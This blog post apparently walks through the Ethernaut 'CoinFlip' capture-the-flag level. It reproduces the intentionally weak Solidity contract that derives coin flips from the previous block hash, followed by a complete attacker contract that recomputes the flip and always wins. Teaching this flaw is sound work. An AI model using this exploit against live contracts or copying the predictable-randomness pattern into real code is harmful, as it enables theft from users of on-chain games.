DEV Community

Erhan Tezcan
Erhan Tezcan

Posted on

Ethernaut: 3. Coinflip

Play the level

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

In this attack, we will guess the supposed "random" flips by calling the attack from our contracts. The target contract is programmed to flip a coin on each block, so each guess we make must be on different blocks.

We can simply copy and paste their flip function in our contract, and then call their actual flip function based on the result. Here is our attacking contract with a psychicFlip function that always guesses correctly:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol";

// interface for target
interface CoinFlip {
  function flip(bool _guess) external returns (bool);
}

contract Attacker {
  CoinFlip coinflipTarget;
  using SafeMath for uint256; 

  constructor(address _target) {
    coinflipTarget = CoinFlip(_target);
  }

  function psychicFlip() public {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));
    uint256 coinFlip = blockValue.div(57896044618658097711785492504343953926634992332820282019728792003956564819968);
    bool side = coinFlip == 1 ? true : false;

    bool result = coinflipTarget.flip(side);
    require(result, "Could not guess, abort mission.");
  }
}
Enter fullscreen mode Exit fullscreen mode

That is pretty much it!

Top comments (0)